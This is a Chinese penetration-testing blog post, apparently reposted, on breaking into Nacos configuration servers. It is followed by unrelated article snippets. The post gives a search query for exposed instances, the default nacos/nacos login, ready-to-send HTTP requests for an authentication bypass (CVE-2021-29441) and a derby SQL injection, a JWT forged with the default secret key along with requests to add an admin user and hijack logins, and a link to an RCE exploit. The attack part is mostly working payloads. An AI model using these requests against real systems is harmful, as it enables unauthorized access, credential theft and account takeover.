渗透测试--Nacos系统

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:前言

nacos是指Name and Config Service,阿里为 SpringCloud 贡献了一个子项目,叫做 SpringCloud Alibaba,其中包括了微服务开发中的几个基础组件,Nacos 就是此项目中的一项技术。可以实现服务注册中心、分布式配置中心。针对微服务架构中的服务发现、配置管理、服务治理的综合型解决方案。Nacos在攻防实战中也是经常遇到,大多数布置是在内网,但是公网上也是有不少的,因为其存在多个漏洞,师傅们也是通过nacos拿下了不少分数。

二:空间测绘查询

fofa:
protocol="nacos(http)"
image.png
可以看到公网上还真不少
image.png
没接触过的师傅们发现搜出来会是上图这样的,WEB页面呢?nacos的web页面是要加上正确的路径才能访问的。一般是加上/nacos/路径就可以访问,即http://x.x.x.x/nacos/
image.png
当然也有为了安全考虑更换了默认路径的。这就要靠师傅们思路去寻找了。

三:Nacos默认密码

nacos系统默认账号密码为nacos/nacos,运气好的话还是可以遇到的。
image.png
image.png

四:Nacos未授权访问CVE-2021-29441

此漏洞原因是nacos在认证时会判断User-agent是否为”Nacos-Server”,如果是的话会不进行任何认证。
POC:

GET /nacos/v1/auth/users?pageNo=1&pageSize=99 HTTP/1.1
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

image.png
可以得到所有用户以及加密后的密码。

五:SQL注入(CNVD-2020-67618)

nacos在derby端点存在SQL注入
select * from users
POC:

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

image.png

六: Nacos权限绕过(QVD-2023-6271)

这个漏洞个人认为是最常见的一个,有一半以上的nacos系统都存在这个洞。而且利用简单,危害极大。漏洞产生原因是nacos系统采用了默认的JWT密钥,nacos的JWT默认key是SecretKey012345678901234567890123456789012345678901234567890123456789
我们使用默认key构造新的JWT,推荐https://jwt.io/网站
image.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q

即为默认nacos用户的一个JWT,有了JWT,那么一切身份认证都是虚无。在日常攻防中常用的就是添加用户、修改密码、登录绕过。
添加一个账号密码为test的用户

POST /nacos/v1/auth/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
Content-type: application/x-www-form-urlencoded
User-Agent: Nacos-Server
Host: .x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 27
Connection: closeusername=test&password=test

image.png
或者直接用accessToken绕过登录

POST /nacos/v1/auth/users/login HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 29
Connection: closeusername=nacos&password=nacos

image.png
复制响应体,然后用任意账号密码登录,拦截返回包,然后替换返回包。
image.png
发包,就可以成功登录
image.png

七:Nacos 集群 Raft 反序列化漏洞 (CNVD-2023-45001)

源于 Nacos 集群处理部分 Jraft 请求时,未限制使用 hessian 进行反 。序列化,攻击者可以通过发送特制的请求触发该漏洞,最终执行任意远程代码。nacos2.*版本默认开启了危险端口7848,1.*没有,所以该漏洞主要使用于nacos2.*版本
这个洞至今还没有打成功过,放一个大佬的exp大家可以试试
image.png
https://github.com/c0olw/NacosRce/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/219027.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

航天宏图——宏图1号样例数据0.5米-5米分辨率(上海部分)

简介: 作为航天宏图“女娲星座”建设计划的首发卫星,航天宏图-1号可获取0.5米-5米的分辨率影像,具备高精度地形测绘、高精度形变检测、高分辨率宽幅成像以及三维立体成像等能力,在自然资源、应急管理、水利等行业与领域具有极高的…

音频——S/PDIF

文章目录 BMC 编码字帧(sub-frame)格式帧(frame)格式参考S/PDIF 是 SONY 和 Philips 公司共同规定的数字信号传输规范,其实就是在 AES/EBU 上进行改动的家用版本。IEC60958 的标准规范囊括了以上两个规范。spdif 采用了双相符号编码(BMC),是将时钟信号和数据信号混合在一起…

5.7 Windows驱动开发:取进程模块函数地址

在笔者上一篇文章《内核取应用层模块基地址》中简单为大家介绍了如何通过遍历PLIST_ENTRY32链表的方式获取到32位应用程序中特定模块的基地址,由于是入门系列所以并没有封装实现太过于通用的获取函数,本章将继续延申这个话题,并依次实现通用版…

Matplotlib子图的创建_Python数据分析与可视化

Matplotlib子图的创建 plt.axes创建子图fig.add_axes()创建子图 plt.axes创建子图 前面已经介绍过plt.axes函数,这个函数默认配置是创建一个标准的坐标轴,填满整张图。 它还有一个可选的参数,由图形坐标系统的四个值构成。这四个值表示为坐…

栈详解(C语言)

文章目录 写在前面1 栈的定义2 栈的初始化3 数据入栈4 数据出栈5 获取栈顶元素6 获取栈元素个数7 判断栈是否为空8 栈的销毁 写在前面 本片文章详细介绍了另外两种存储逻辑关系为 “一对一” 的数据结构——栈和队列中的栈,并使用C语言实现了数组栈。 栈C语言实现源…

Linux加强篇004-Vim编辑器与Shell命令脚本

目录 前言 1. Vim文本编辑器 1.1 编写简单文档 1.2 配置主机名称 1.3 配置网卡信息 1.4 配置软件仓库 2. 编写Shell脚本 2.1 编写简单的脚本 2.2 接收用户的参数 2.3 判断用户的参数 3. 流程控制语句 3.1 if条件测试语句 3.2 for条件循环语句 3.3 while条件循环语…

Nginx:配置文件详解

一、Nginx配置文件 main配置段:全局配置 events段:定义event工作模式 http {}:定义http协议配置 支持使用变量: 内置变量:模块会提供内建变脸定义 自定义变量:set var_name value 二、 主…

【深度学习笔记】04 概率论基础

04 概率论基础 概率论公理联合概率条件概率贝叶斯定理边际化独立性期望和方差模拟投掷骰子的概率随投掷次数增加的变化 概率论公理 概率(probability)可以被认为是将集合映射到真实值的函数。 在给定的样本空间 S \mathcal{S} S中,事件 A \m…

人工智能时代的内容写作

内容不再只是王道,正如俗话所说:它是一种流动的货币,推动了巨大的在线信息和影响力经济。 每个品牌都是一个故事,通过其服务和商品讲述自己。尽管如此,大多数客户还是会通过您的在线内容最了解您。 但随着我们进入人…

常见树种(贵州省):016杜鹃、含笑、桃金娘、金丝桃、珍珠花、观光木

摘要:本专栏树种介绍图片来源于PPBC中国植物图像库(下附网址),本文整理仅做交流学习使用,同时便于查找,如有侵权请联系删除。 图片网址:PPBC中国植物图像库——最大的植物分类图片库 一、杜鹃 …

武汉数字孪生赋能工业制造,加速推进制造业数字化转型

随着数字孪生技术的不断推进,互联网、物联网、智能传感技术开始应用到数控机床的远程服务,状态监控,故障诊断,维护管理等方面。武汉数字孪生是在虚拟空间中创建物理对象的高保真虚拟模型,以模拟其在现实世界中的行为提…

Java核心知识点整理大全15-笔记

Java核心知识点整理大全-笔记_希斯奎的博客-CSDN博客 Java核心知识点整理大全2-笔记_希斯奎的博客-CSDN博客 Java核心知识点整理大全3-笔记_希斯奎的博客-CSDN博客 Java核心知识点整理大全4-笔记-CSDN博客 Java核心知识点整理大全5-笔记-CSDN博客 Java核心知识点整理大全6…